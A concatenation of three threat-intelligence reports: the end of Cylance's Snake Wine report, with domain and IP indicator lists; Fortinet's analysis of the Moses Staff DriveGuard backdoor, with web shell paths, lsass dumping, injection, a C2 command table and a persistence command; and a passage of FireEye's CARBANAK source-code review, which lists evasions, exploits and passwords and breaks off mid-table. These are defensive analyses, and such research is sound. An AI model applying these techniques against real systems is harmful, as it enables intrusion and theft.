VeraTPerkins(at)india.com 12/8/16           salvaiona(dot)com                                      DeborahAStutler(at)india.com 12/8/16           osaka-jpgo(dot)com                                   JudithAMartel(at)india.com 12/8/16           tyoto-go-jp(dot)com                                   AletaFNowak(at)india.com 12/8/16           fastmail2(dot)com                                      ClementBCarico(at)india.com 12/11/16         wcwname(dot)com                                     CynthiaRNickerson(at)india.com 12/12/16         dedgesuite(dot)net                                     KatherineKTaggart(at)india.com 12/12/16         wdsupdates(dot)com                                   GordonESlavin(at)india.com 12/12/16         nsatcdns(dot)com                                       SarahNBosch(at)india.com 12/13/16         vscue(dot)com                                            ChrisTDawkins(at)india.com 12/13/16         sindeali(dot)com                                          DonnaJMcCray(at)india.com 12/13/16         vmmini(dot)com                                          RaymondRKimbrell(at)india.com 12/20/16         u-tokyo-ac-jp(dot)com                                 LynnJOwens(at)india.com 12/21/16         meiji-ac-jp(dot)com                                     PearlJPoole(at)india.com 12/26/16         jica-go-jp(dot)bike                                       AliceCLopez(at)india.com 12/27/16         mofa-go-jp(dot)com                                     AngelaJBirkholz(at)india.com 12/27/16         jimin-jp(dot)biz                                            EsmeraldaTYates(at)india.com 12/27/16         jica-go-jp(dot)biz                                         RonaldSFreeman(at)india.com 2/9/17              jpcert(dot)org                                            GinaKPiller(at)india.com 2/14/2017      ijica(dot)in                                                   DarrenMCrow(at)india.com 3/6 2/17/2017      chibashiri(dot)com                                       WitaTBiles(at)india.com 2/17/2017      essashi(dot)com                                           CarlosBPierson(at)india.com 2/17/2017      urearapetsu(dot)com                                    IvoryDStallcup(at)india.com Full Domain List: area.wthelpdesk(dot)com cdn.incloud-go(dot)com center.shenajou(dot)com commissioner.shenajou(dot)com development.shenajou(dot)com dick.ccfchrist(dot)com document.shenajou(dot)com download.windowsupdate.dedgesuite(dot)net edgar.ccfchrist(dot)com ewe.toshste(dot)com fabian.ccfchrist(dot)com flea.poulsenv(dot)com foal.wchildress(dot)com fukuoka.cloud-maste(dot)com gavin.ccfchrist(dot)com glicense.shenajou(dot)com hamiltion.catholicmmb(dot)com hukuoka.cloud-maste(dot)com images.tyoto-go-jp(dot)com interpreter.shenajou(dot)com james.tffghelth(dot)com kawasaki.cloud-maste(dot)com kawasaki.unhamj(dot)com kennedy.tffghelth(dot)com lennon.fftpoor(dot)com license.shenajou(dot)com lion.wchildress(dot)com lizard.poulsenv(dot)com malcolm.fftpoor(dot)com ms.ecc.u-tokyo-ac-jp(dot)com msn.incloud-go(dot)com sakai.unhamj(dot)com sappore.cloud-maste(dot)com sapporo.cloud-maste(dot)com scorpion.poulsenv(dot)com shrimp.bdoncloud(dot)com sindeali(dot)com style.u-tokyo-ac-jp(dot)com trout.belowto(dot)com ukuoka.cloud-maste(dot)com v4.windowsupdate.dedgesuite(dot)net vmmini(dot)com whale.toshste(dot)com windowsupdate.dedgesuite(dot)net windowsupdate.wcwname(dot)com www.cloud-maste(dot)com www.foal.wchildress(dot)com www.fukuoka.cloud-maste(dot)com www.incloud-go(dot)com www.kawasaki.cloud-maste(dot)com www.kawasaki.unhamj(dot)com www.lion.wchildress(dot)com www.msn.incloud-go(dot)com www.sakai.unhamj(dot)com www.sapporo.cloud-maste(dot)com www.unhamj(dot)com www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp(dot)com www.vmmini(dot)com www.wchildress(dot)com www.yahoo.incloud-go(dot)com yahoo.incloud-go(dot)com zebra.bdoncloud(dot)com zebra.incloud-go(dot)com zebra.wthelpdesk(dot)com IP Addresses: 107.181.160.109 109.237.108.202 151.101.100.73 151.236.20.16 158.255.208.170 158.255.208.189 158.255.208.61 160.202.163.79 4/6 160.202.163.82 160.202.163.90 160.202.163.91 169.239.128.143 185.117.88.81 185.133.40.63 185.141.25.33 211.110.17.209 31.184.198.23 31.184.198.38 92.242.144.2 Anomalous IP Crossover One of the most perplexing aspects of tracing the infrastructure associated with this particular campaign is that it appeared to lead to a significant number of well-known MenuPass/ Stone Panda domains.
MenuPass is a well-documented CN-APT group, whose roots go back to 2009.
The group was first publicly disclosed by FireEye in this report.
However, many of those domains were inactive for as long as two years and could have easily been re-registered by another entity looking to obfuscate attribution.
As a result, weve only included recent Dynamic DNS domains that were connected to recently registered infrastructure.
A much larger collection of information is available to trusted and interested parties.
Please contact us at: deceptionproject (at) Cylance [dot] com.
Dynamic DNS IPs: 37.235.52.18                                2016-05-11 78.153.151.222                            2016-05-13 175.126.148.111                          2016-07-14 95.183.52.57                               2016-07-26 109.237.108.202                          2016-12-26 109.248.222.85                           2016-12-27 Dynamic DNS Domains: blaaaaaaaaaaaa.windowsupdate(dot)3-a.net contract.4mydomain(dot)com contractus.qpoe(dot)com ctdl.windowsupdate.itsaol(dot)com ctldl.microsoftupdate.qhigh(dot)com ctldl.windowsupdate.authorizeddns(dot)org ctldl.windowsupdate.authorizeddns(dot)us ctldl.windowsupdate.dnset(dot)com ctldl.windowsupdate.lflinkup(dot)com ctldl.windowsupdate.x24hr(dot)com download.windowsupdate.authorizeddns(dot)org download.windowsupdate.dnset(dot)com download.windowsupdate.itsaol(dot)com download.windowsupdate.lflinkup(dot)com download.windowsupdate.x24hr(dot)com ea.onmypc(dot)info eu.wha(dot)la feed.jungleheart(dot)com fire.mrface(dot)com fuck.ikwb(dot)com globalnews.wikaba(dot)com helpus.ddns(dot)info home.trickip(dot)org imap.dnset(dot)com ipv4.windowsupdate.3-a(dot)net ipv4.windowsupdate.authorizeddns(dot)org ipv4.windowsupdate.dnset(dot)com ipv4.windowsupdate.fartit(dot)com ipv4.windowsupdate.lflink(dot)com ipv4.windowsupdate.lflinkup(dot)com ipv4.windowsupdate.mylftv(dot)com ipv4.windowsupdate.x24hr(dot)com latestnews.organiccrap(dot)com microsoftmirror.mrbasic(dot)com microsoftmusic.itemdb(dot)com microsoftstore.onmypc(dot)net microsoftupdate.qhigh(dot)com mobile.2waky(dot)com mseupdate.ourhobby(dot)com newsreport.justdied(dot)com nmrx.mrbonus(dot)com outlook.otzo(dot)com referred.gr8domain(dot)biz twx.mynumber(dot)org v4.windowsupdate.authorizeddns(dot)org v4.windowsupdate.dnset(dot)com v4.windowsupdate.itsaol(dot)com v4.windowsupdate.lflinkup(dot)com v4.windowsupdate.x24hr(dot)com visualstudio.authorizeddns(dot)net 5/6 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf windowsupdate.2waky(dot)com windowsupdate.3-a(dot)net windowsupdate.acmetoy(dot)com windowsupdate.authorizeddns(dot)net windowsupdate.authorizeddns(dot)org windowsupdate.dns05(dot)com windowsupdate.dnset(dot)com windowsupdate.esmtp(dot)biz windowsupdate.ezua(dot)com windowsupdate.fartit(dot)com windowsupdate.itsaol(dot)com windowsupdate.lflink(dot)com windowsupdate.mrface(dot)com windowsupdate.mylftv(dot)com windowsupdate.x24hr(dot)com www.contractus.qpoe(dot)com www.feed.jungleheart(dot)com www.helpus.ddns(dot)info www.latestnews.organiccrap(dot)com www.microsoftmirror.mrbasic(dot)com www.microsoftmusic.itemdb(dot)com www.microsoftstore.onmypc(dot)net www.mobile.2waky(dot)com www.mseupdate.ourhobby(dot)com www.nmrx.mrbonus(dot)com www.twx.mynumber(dot)org www.visualstudio.authorizeddns(dot)net www.windowsupdate.acmetoy(dot)com www.windowsupdate.authorizeddns(dot)net www.windowsupdate.authorizeddns(dot)org www.windowsupdate.dnset(dot)com www.windowsupdate.itsaol(dot)com www.windowsupdate.x24hr(dot)com www2.qpoe(dot)com www2.zyns(dot)com www2.zzux(dot)com Conclusion The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments.
The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.
If the past is an accurate indicator, attacks will continue to escalate in both skill and intensity as the attackers implement new tactics in response to defenders acting on previously released information.
Perhaps the most interesting aspect of the Snake Wine group is the number of techniques used to obscure attribution.
Signing the malware with a stolen and subsequently publicly leaked code-signing certificate is sloppy even for well-known CN-APT groups.
Also of particular interest from an attribution obfuscation perspective is direct IP crossover with previous Dynamic DNS domains associated with known CN-APT activity.
A direct trail was established over a period of years that would lead competent researchers to finger CN operators as responsible for this new activity as well.
Although the MenuPass Group used mostly publicly available RATs, they were successful in penetrating a number of high value targets, so it is entirely possible this is indeed a continuation of past activity.
However, Cylance does not believe this scenario to be probable, as a significant amount of time has elapsed between the activity sets.
Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28.
In any case, Cylance hopes to better equip defenders to detect and respond to active threats within their network and enable the broader security community to respond to similar threats.
In terms of defending and responding to malware, attribution is rarely important.
As new methodologies become more broadly detected, threat actors will continue to embrace alternate and new strategies to continue achieving their objectives.
Yara Rules Yara rules for this campaign can be found on GitHub here: https://github.com/CylanceSPEAR/IOCs/blob/master/snake.wine.yar If you use our endpoint protection product, CylancePROTECT, you were already protected from this attack.
If you dont have CylancePROTECT, contact us to learn how our AI based solution can predict and prevent unknown and emerging threats.
6/6 https://github.com/CylanceSPEAR/IOCs/blob/master/snake.wine.yar https://www.cylance.com/en_us/products/our-products/protect.html https://www.cylance.com/en_us/blog/cylance-vs-the-deception-project.html https://www.cylance.com/en_us/contact-us.html The Deception Project: A New Japanese-Centric Threat Background Propagation and Targeting Malware Tofu Backdoor C2 Infrastructure Anomalous IP Crossover Conclusion Yara Rules
1/15 February 15, 2022 Guard Your Drive from DriveGuard: Moses Staff Campaigns Against Israeli Organizations Span Several Months fortinet.com/blog/threat-research/guard-your-drive-from-driveguard FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows Users Impact: Data theft and execution of additional malicious payloads Severity Level: Critical Over the past year, FortiEDR has prevented multiple attacks that attempted to exploit various Microsoft Exchange server vulnerabilities, some of which we have previously covered.
Among these attacks, we identified a campaign operated by Moses Staff, a geo-political motivated threat group believed to be sponsored by the Iranian government.
After tracking this campaign for the last several months we found that the group has been using a custom multi-component toolset for the purpose of conducting espionage against its victims.
This campaign exclusively targets Israeli organizations.
Close examination reveals that the group has been active for over a year, much earlier than the groups first official public exposure, managing to stay under the radar with an extremely low detection rate.
In this blog, we will cover the Techniques, Tactics, and Procedures (TTPs) used by Moses Staff and reveal a new backdoor used by them to download files, execute payloads, and exfiltrate data from target networks, along with threat intelligence data on their activities.
Infection Vector The initial infiltration was accomplished by leveraging the ProxyShell exploit in Microsoft Exchange servers to allow an unauthenticated attacker to execute arbitrary commands on them through an exposed HTTP\S port.
As a result, the attackers were able to deploy two web shells: C:/inetpub/wwwroot/aspnet_client/system_web/iispool.aspx C:/inetpub/wwwroot/aspnet_client/system_web/map.aspx https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard https://www.fortinet.com/fortiguard/labs.html?utm_sourceblogutm_mediumcampaignutm_campaignFortiGuardLabs https://www.fortinet.com/blog/threat-research/more-proxyshell-web-shells-lead-to-zerologon-and-application-impersonation-attacks https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell 2/15 These two web shells are used in conjunction with one another, and some of their functionalities overlap.
On numerous occasions, map.aspx was used to validate the results of the commands executed by iispool.aspx.
Post infection, the attackers dedicated several days to the exfiltration of PST files and other sensitive data from the compromised server.
Next, they attempted to steal credentials by creating a memory dump of lsass.exe using a LOLBin.
Finally, the attackers dropped and installed the backdoor components.
Figure 1: Command line for dumping memory for lsass.exe Execution Chain The loader resides in C:\Windows\System32\drvguard.exe.
When executed with the -I command-line argument, it installs itself as a service named DriveGuard.
Figure 2: DriveGuard service properties The loader is responsible for executing the backdoor component and then monitoring its process, executing it whenever it has stopped.
In addition, it launches a watchdog mechanism that ensures its own service is never stopped.
The following flow chart illustrates the described process: 3/15 Figure 3: Loading mechanism flow If the backdoor does not exist on the disk, the loader creates it by reading the content of C:\Windows\System32\rsc.dat and restoring its DOS header magic value to 4D 5A 90.
The valid executable is written to disk at C:\Windows\System32\broker.exe 4/15 Figure 4: rsc.dat  the backdoor without magic bytes in the header The next step is to execute the backdoor.
When doing so, the loader attempts to spoof the backdoors parent process to be svchost.exe.
This is achieved via calling CreateProcess and setting the parent process attribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) to the first svchost.exe process found in the system.
Parent process spoofing may aid in the evasion of security products.
Generally, this method may also be used for gaining SYSTEM privileges, but in our case, the loader is already running as a system service.
If the spoofing fails, the loader will run the backdoor without it.
The backdoor is executed with the command-line argument -ser.
Service Watchdog The loader also sets a watchdog to ensure it remains operational.
The watchdog module, lic.dll, is injected to a newly spawned lsass.exe process.
The injection is implemented in inj.dll, which uses VirtualAllocEx and SetThreadContext to run shellcode in the target process.
The shellcode loads a DLL and then jumps back to the previous instruction pointer of the thread.
Subsequently, lic.dll begins to monitor the DriveGuard service, restarting it whenever it has stopped.
In addition, it ensures that the DriveGuard service is always configured to start automatically on system startup.
Figure 5: The shellcode injected by inj.dll into lsass.exe Broker Backdoor The backdoor component oversees receiving and executing commands from the C2 server.
It runs only if it receives the command-line argument -ser.
Otherwise, it triggers a divide-by- zero exception.
This is most likely an attempt to thwart dynamic analysis by automatic security products such as sandboxes.
To ensure that only one instance of the backdoor is running on the system, it creates an event called Program event.
5/15 Figure 6: Event created by the backdoor Configuration The backdoors configuration is stored encrypted in a file at C:\Users\Public\Libraries\cfg.dat.
The encryption scheme used is XOR-based and can be decrypted by the following Python code.
The hardcoded key is consistent throughout all the samples in our possession.
6/15 def decrypt(encrypted): key  9c4arSBr32g6IOni result for i in range(len(encrypted)): key_char  ord(key[i16])  4 enc_char  encrypted[i] result_char  (key_char  enc_char)  4 result  chr(result_char) return result Figure 7: Python implementation of the decryption routine for the configuration file The decrypted configuration contains two sets of C2 and URI addresses, alongside a time interval, in seconds, that determines the frequency at which to contact the server.
A random value between 0 and 2 seconds is added to the interval to cause jitter.
If the configuration file does not exist, the malware uses plaintext configuration values hardcoded in the executable.
In our samples, these values are identical to the ones in the configuration file.
Figure 8: Decrypted backdoor configuration Communicate Your Boundries The main part of the malware oversees communication with the server, parsing its responses and executing commands.
The backdoor first sends a POST request, as can be seen in figure 9, to the first configured server.
It alternates between contacting the two servers depending on their status, switching between them when they are unresponsive or return empty replies.
7/15 Figure 9: HTTP POST request sent by the backdoor to the C2 The request looks like encoded HTML form data that is delimited by a boundary value which appears to contain a misspelled BoundrySign string.
The noteworthy fields in the request are token and data .
The data field contains information about the infected machine.
The machine time zone has been chosen by the attackers for the purpose of regional attribution.
This string is encrypted with the same algorithm and key that were used to encrypt the configuration file.
8/15 Figure 10: Format of victim information sent to the C2 Interestingly, the malware fails to retrieve the correct OS version due to usage of the deprecated GetVersionEx API, which causes executables without updated manifests to invariably return the Windows 8 value while actually running on a newer operating system.
The token field is comprised of the hostname, username, and an ID.
The hostname and username are encrypted with a ROT5 Caesar cipher, meaning that 5 is added to each characters ascii value.
The encrypted result is then appended to the ID.
Figure 11: Format of unique identifier sent to the C2 The ID is hardcoded in the binary and is a distinctive identifier of a specific target organization.
Namely, backdoor binaries are specially compiled per target before they are deployed by the threat actor.
The backdoor continually queries the server for commands.
In the event of five consecutive unsuccessful queries, the backdoor will switch to contacting the backup server.
An unsuccessful query is considered to be one of the following: The server is unresponsive.
The parsed response starts with the byte 0xA.
The parsed response is empty.
The server response is parsed until the first ] character and everything after is disregarded.
If the response lacks a ] it is treated as an empty response.
If the parsed server response is on, the backdoor will continue to query the same server without switching to the backup server.
Any other response is treated as a command.
As such, it is decrypted with the same algorithm and key as specified previously.
If the decrypted response data is self, the backdoor stops executing.
Otherwise, it proceeds to parse the decrypted data as a command with the following format: Figure 12: Format of commands sent by the C2 9/15 Type  The command type.
This can be one of the values from the Type column in the Commands table.
Arg1Arg4  The command arguments.
Not all arguments are provided for every command, in which case their value will be the string null.
ID  A unique identifier.
This ID is sent to the server alongside the command results to associate the results with the executed command.
Supported Commands The following is a list of the commands that the backdoor may receive from the server.
Several commands involve downloading additional DLLs from the server and executing them.
The functionality of these modules is unknown at this time.
Type Description fe Directory listing (recursive).
ce Execute command line.
dw Upload a file from the disk to the C2.
up Download a file from the C2 and save to the disk.
sb Download a DLL from the C2 and execute it using LoadLibrary, calling its mainfunc export.
tlg Download a DLL from the C2 and execute it using LoadLibrary, calling its mkb64 export.
rns Download a DLL from the C2 and execute it using LoadLibrary, calling its mkb64 export.
int Update the interval field in the configuration.
ki Delete the malware from the disk using a CMD command.
This may potentially be used in conjunction with the self command for complete self-destruction.
upd Update the tool by running CMD commands to replace the current module on the disk with a file received from the C2.
10/15 ho Update the C2 and URI fields in the configuration.
inf Send the configuration content and the malwares filename to the C2.
cmprs 7-zip compress using ar.dll and ar.dat utilities.
If they are not present on the disk, the tool downloads them from the C2.
sc Capture a screenshot, saving it to C:\Users\Public\Libraries\tmp.bin before sending it unencrypted to the C2.
kl The command name and its operation imply keylogger functionality.
The first time this command is received, the malware will download a DLL from the C2 and execute it using LoadLibrary, calling its strt export.
Upon subsequent receipts of this command, the contents of C:\Users\Public\Libraries\async.dat will be sent to the C2.
This DLL most likely writes its output to that file.
However, as it is not in our possession, we cannot confirm this.
au Establish scheduled task persistence for itself using the following command: SCHTASKS /CREATE /TN Mozilla\Firefox Default Browser Agent 409046Z0FF4A39CB /ST 11:00 /F /SC DAILY /TR CURRENT_EXECUTABLE Figure 13: List of supported commands Command present in the newer versions only Command present in the older versions only History of Operations Using Yara rules in VirusTotals retrohunt engine we detected two older samples of the backdoor.
Both samples were uploaded around the end of December 2020, which leads us to believe that this campaign has been operating for at least a year.
Until recently, they have been flying under the radar with a very low detection rate.
https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations 11/15 Figure 14: VirusTotal entries of the older backdoor versions The most notable differences between the versions are the configuration file and the commands.
In lieu of a configuration file, the older variants exclusively use values hardcoded in the binary.
In terms of commands, a few modifications have taken place in between the versions.
As can be seen in figure 13, various new commands have been added to the latest samples, while other commands have been eliminated.
Although commands were removed, we assess that the code might have been moved to one of the modules that can be fetched from the server.
Certain modifications may aim to improve covertness and hinder detection.
For example, the older samples were able to receive the au command to register a scheduled task using a command-line that was hardcoded in the binary.
On the other hand, in recent attacks, we observed task registration via a scheduled task XML file that was dropped by the backdoor.
The last minor difference between versions is the name of the event.
Older versions created an event called program Event.
This capitalization error was corrected in the recent versions.
Searching for the C2 addresses in FortiGuard Labs threat intelligence systems shows a large spike in traffic volume during April 2021.
This indicates that the group was operational long before their initial public exposure.
All the network traffic to the malicious servers originated from Israeli IP addresses Figure 15: FortiGuard Labs historical data for C2 IP address 12/15 Figure 16: FortiGuard Labs historical data for C2 domain name During our investigations, we were able to take over and sinkhole the techzenspace[.
]com domain in the beginning of January 2022.
This was done to try and prevent the backdoor from operating for the near future while attempting to identity additional infected organizations that are not Fortinet customers.
Attribution We were able to attribute the iispool.aspx web shell to the Moses Staff group based on past research.
Both the web shell path and its code are identical to the ones previously reported.
Another recent publication referenced in the previous section reaffirms our attribution.
All victims are Israeli organizations belonging to various industries.
Although the attacks we identified did not reach a destructive stage, we cant rule out the possibility that the backdoor is used before that to exfiltrate data from target networks.
Conclusion We have been monitoring Moses Staff operations closely these past few months.
We have analyzed new TTPs and attributed a new set of tools to the group, including a backdoor, a loader and a web shell.
The group is highly motivated, capable, and set on damaging Israeli entities.
While they have been operating continuously and vigorously since late 2020, they were only publicly acknowledged about a year after.
At this point, they continue to depend on 1-day exploits for their initial intrusion phase.
Although the attacks we identified were carried out for espionage purposes, this does not negate the possibility that the operators will later turn to destructive measures.
We believe that ransomware or wipers may have not been deployed because FortiEDR blocked earlier stages of the attack.
Fortinet Protections FortiEDR detects and blocks these threats out-of-the-box without any prior knowledge or special configuration.
It does this using its post-execution prevention engine to identify malicious activities: https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/ 13/15 Figure 17: FortiEDR blocking the memory dumping attempt of lsass.exe Figure 18: FortiEDR blocking the backdoor communication All network IOCs have been added to the FortiGuard WebFiltering blocklist.
The FortiGuard AntiVirus service engine is included in Fortinets FortiGate, FortiMail, FortiClient, and FortiEDR solutions.
FortiGuard AntiVirus has coverage in place as follows: ASP/Webshell.
DWtr W64/Agent.
AVVtr W32/Agent.
UWNtr W32/Agent.
UYStr W64/Agent.
AVStr W64/Agent.
AVUtr In addition, as part of our membership in the Cyber Threat Alliance, details of this threat were shared in real time with other Alliance members to help create better protections for customers.
Appendix A  MITRE ATTCK Techniques ID Description T1190 Exploit Public-Facing Application T1505.003 Server Software Component: Web Shell T1083 File and Directory Discovery T1003.001 OS Credential Dumping: LSASS Memory T1005 Data from Local System T1114 Email Collection 14/15 T1569.002 System Services: Service Execution T1480 Execution Guardrails T1134.004 Access Token Manipulation: Parent PID Spoofing T1055 Process Injection T1140 Deobfuscate/Decode Files or Information T1071.001 Application Layer Protocol: Web Protocols T1082 System Information Discovery T1033 System Owner/User Discovery T1573.001 Encrypted Channel: Symmetric Cryptography T1008 Fallback Channels T1059.003 Command and Scripting Interpreter: Windows Command Shell T1113 Screen Capture T1053.005 Scheduled Task/Job: Scheduled Task T1041 Exfiltration Over C2 Channel Appendix B: IOCs File Hashes (SHA256) 2ac7df27bbb911f8aa52efcf67c5dc0e869fcd31ff79e86b6bd72063992ea8ad (map.aspx) ff15558085d30f38bc6fd915ab3386b59ee5bb655cbccbeb75d021fdd1fde3ac (agent4.exe) cafa8038ea7e46860c805da5c8c1aa38da070fa7d540f4b41d5e7391aa9a8079 (calc.exe) 15/15 File Names iispool.aspx map.aspx drvguard.exe agent4.exe calc.exe inj.dll lic.dll Event Names program Event Program event IPs 87.120.8[.
]210 Domains techzenspace[.
]com URLs hxxp://87.120.8.210:80/RVP/index3.php hxxp://techzenspace.com:80/RVP/index8.php Learn more about Fortinets FortiGuard Labs.
https://www.fortinet.com/fortiguard/labs?utm_sourceblogutm_campaignfortiguard-labs
CARBANAK Week Part Two: Continuing the CARBANAK Source Code Analysis fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html Threat Research April 23, 2019  by Michael Bailey, James T. Bennett Update (April 30): Following the release of our four-part CARBANAK Week blog series, many readers have found places to make the data shared in these posts actionable.
We have updated this post to include some of this information.
In the previous installment, we wrote about how string hashing was used in CARBANAK to manage Windows API resolution throughout the entire codebase.
But the authors used this same string hashing algorithm for another task as well.
In this installment, well pick up where we left off and write about CARBANAKs antivirus (AV) detection, AV evasion, authorship artifacts, exploits, secrets, and network-based indicators.
Antivirus Evasions Source code unquestionably accelerates analysis of string hashes.
For example, the function AVDetect in AV.cpp iterates processes to detect AV by process name hash as shown in Figure 1.
1/14 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/michael-bailey https://www.fireeye.com/blog/threat-research.html/category/etc/tags/fireeye-blog-authors/cap-james-t-bennett https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html Figure 1: Antivirus detection by process name hash What does CARBANAK do with this information?
It evades AV according to what is installed.
Figure 2 shows the code for an AVG evasion that the authors disabled by commenting it out.
Based on this, it appears as if the AVG evasion was retired, but FLARE team member Ryan Warns confirmed in November 2017 that it still worked with one minor tweak.
FLARE disclosed this to AVG immediately upon confirming it.
Avast indicates that after our disclosure, they updated the affected DLL to ignore DLL_PROCESS_DETACH and leave its hooks in place.
2/14 https://twitter.com/nopandroll Figure 2: Commented out source code to unload AVG user-space hooks In November of 2017, FLARE also disclosed an evasion for Trend Micros detection of process injection that remained active in the CARBANAK source code.
The evasion mirrors a technique used in Carberp that replaces remote heap allocation and a call to CreateRemoteThread with memory mapping and queueing of an asynchronous procedure call via QueueUserAPC.
Following our disclosure, Trend Micro indicated that they had updated their behavior monitoring rules and released OfficeScan XG SP1 in December 2017 with a new Aggressive Event detection feature that covers this behavior.
Author Characterization Having source code could pose unique opportunities to learn about the individuals behind the keyboard.
To that end, I searched for artifacts in the source code dump that might point to individuals.
I found the most information in Visual Studio solution files.
Most of these referenced drive O: as the source root, but I did find the following host paths: C:\Users\hakurei reimu\AppData\Local\Temp C:\Users\Igor\AppData\Local\Temp E:\Projects\progs\Petrosjan\WndRec\... E:\Projects\progs\sbu\WndRec\...
Unfortunately, these data points dont yield many answers.
If they are observed in later artifacts, connections might be inferred, but as of this writing, not much else is known about the authors.
Source Code Survey The CARBANAK source code contained numerous exploits, previous C2 hosts, passwords, and key material.
I decided to comprehensively search these out and determine if they led to any new conclusions or corroborated any previous observations.
Exploits 3/14 https://github.com/hzeroo/Carberp/blob/master/source - absource/pro/all source/RemoteCtl/hvnc2/core/svchost_inj.cppL8 I wanted to know if the CARBANAK authors wielded any exploits that were not publicly disclosed.
To the contrary, I found all the exploits to be well-documented.
Table 1 breaks out the escalation code I reviewed from the CARBANAK source code dump.
Name CVE Notes PathRec 2013- 3660 Exploit proof of concept (poc) from May 2013 Sdrop 2013- 3660 Exploit poc from June 2013 NDProxy 2013- 5065 NDProxy.sys exploit originally authored by secniu UACBypass UAC bypass by DLL hijacking found in Carberp COM UAC bypass by disabling elevation prompts and dialogs via the IFileOperation COM interface CVE-2014- 4113 2014- 4113 Win32k.sys exploit derived from code that can be found online BlackEnergy2 AppCompat shim-based UAC bypass EUDC 2010- 4398 UAC bypass by EUDC exploitation Table 1: Exploits for elevation found in CARBANAK source code The CARBANAK source code also contains code copied wholesale from Mimikatz including the sekurlsa module for dumping passwords from lsass.exe and Terminal Services patching code to allow multiple remote desktop protocol connections.
Secrets My analysis included an audit of passwords and key material found in the source code and accompanying binaries.
Although many of these were used for debug versions, I curated them for reference in case a need might arise to guess future passwords based on passwords used in the source code.
Table 2 shows recovered passwords used for RC2- 4/14 https://www.exploit-db.com/exploits/25611 https://www.exploit-db.com/exploits/25912 http://www.secniu.com/ndproxy-local-system-exploitcve-2013-5065/ https://github.com/hzeroo/Carberp/blob/master/source - absource/pro/all source/BJWJ/source/exploit/UAC_bypass.cpp https://www.pretentiousname.com/misc/win7_uac_whitelist2.html https://ideone.com/fork/ByJlWj https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf https://nvd.nist.gov/vuln/detail/CVE-2010-4398 https://github.com/gentilkiwi/mimikatz encrypted communications and other purposes along with the corresponding name in the source code and their status as they were encountered (active in source code, commented out, or compiled into a binary).
Credential Identifier Per Source Code Password Status ADMIN_PASSWORD 1He9Psa7LzB1wiRn Active ADMIN_PASSWORD 1234567812345678 Commented out ADMIN_PASSWORD cbvhX3tJ0k8HwnMy Active ADMIN_PASSWORD 1234567812345678 Commented out N/A 1234567812345678 Compiled Table 2: Passwords found in CARBANAK source code and binaries I found an encrypted server certificate in a debug directory.
This seemed like it could provide a new network-based indicator to definitively tie operations together or catch new activity.
It was trivial to brute force this container by adapting a publicly available code sample of X509 handling in C to cycle through passwords in a popular password list.
The password was found in less than 1 second because it was the single-character password 1.
The certificate turns out to be for testing, hence the weak password.
The certificate is shown in Figure 3, with details in Table 3.
5/14 https://msdn.microsoft.com/en-us/library/ms148440.aspx Figure 3: Test Company certificate Parameter Value Subject CNTest Company Issuer CNTest Company Serial Number 834C6C3985506D8740FB56D26E385E8A Not Before 12/31/2004 5:00:00 PM Not After 12/31/2017 5:00:00 PM Thumbprint 0BCBD1C184809164A9E83F308AD6FF4DBAFDA22C Signature Algorithm sha1RSA(1.3.14.3.2.29) 6/14 Public Key Algorithm: RSA Length: 2048 Key Blob: 30 82 01 0a 02 82 01 01 00 e4 66 7f d2 e1 01 53 f9 6d 26 a6 62 45 8b a8 71 ea 81 9a e6 12 d4 1c 6f 78 67 6d 7e 95 bb 3a c5 c0 2c da ce 48 ca db 29 ab 10 c3 83 4e 51 01 76 29 56 53 65 32 64 f2 c7 84 96 0f b0 31 0b 09 a3 b9 12 63 09 be a8 4b 3b 21 f6 2e bf 0c c1 f3 e4 ed e2 19 6e ca 78 68 69 be 56 3c 1c 0e a7 78 c7 b8 34 75 29 a1 8d cc 5d e9 0d b3 95 39 02 13 8e 64 ed 2b 90 2c 3f d5 e3 e2 7e f2 d2 d1 96 15 6e c9 97 eb 97 b9 0e b3 be bc c3 1b 1e e1 0e 1c 35 73 f4 0f d9 c3 69 89 87 43 61 c9 9e 50 77 a2 83 e4 85 ce 5a d6 af 72 a9 7b 27 c5 f3 62 8d e7 79 92 c3 9b f7 96 ed 5c 37 48 0a 97 ee f7 76 69 a2 b9 25 38 06 25 7d 8a e4 94 b2 bb 28 4a 4b 5d c5 32 0d be 8e 7c 51 82 a7 9e d9 2c 8e 6b d8 c7 19 4c 2e 93 8d 2d 50 b4 e0 a4 ed c1 65 a4 a1 ba bf c7 bf 2c ec 28 83 f4 86 f2 88 5c c4 24 8b ce 1d 02 03 01 00 01 Parameters: 05 00 7/14 Private Key Key Store: User Provider Name: Microsoft Strong Cryptographic Provider Provider type: 1 Key Spec: Exchange Key Container Name: c9d7c4a9-2745-4e7f-b816-8c20831d6dae Unique Key Container Name: 5158a0636a32ccdadf155686da582ccc_2bb69b91- e898-4d33-bbcf-fbae2b6309f1 Hardware Device: False Removable: False Protected: False Table 3: Test Company certificate details Here is a pivot shared by mrdavi51 demonstrating how this self-signed certificate is still hosted on several IPs.
Great findings, loving the series Did you know the public cert in part two you found is still hosted on two servers?
https://t.co/zZYRgPvHVr mrdavi5 (mrdavi51) April 24, 2019 FireEye has observed the certificate most recently being served on the following IPs (Table 4): IP Hostname Last Seen 104.193.252.151:443 vds2.system-host[.
]net 2019-04-26T14:49:12 185.180.196.35:443 customer.clientshostname[.
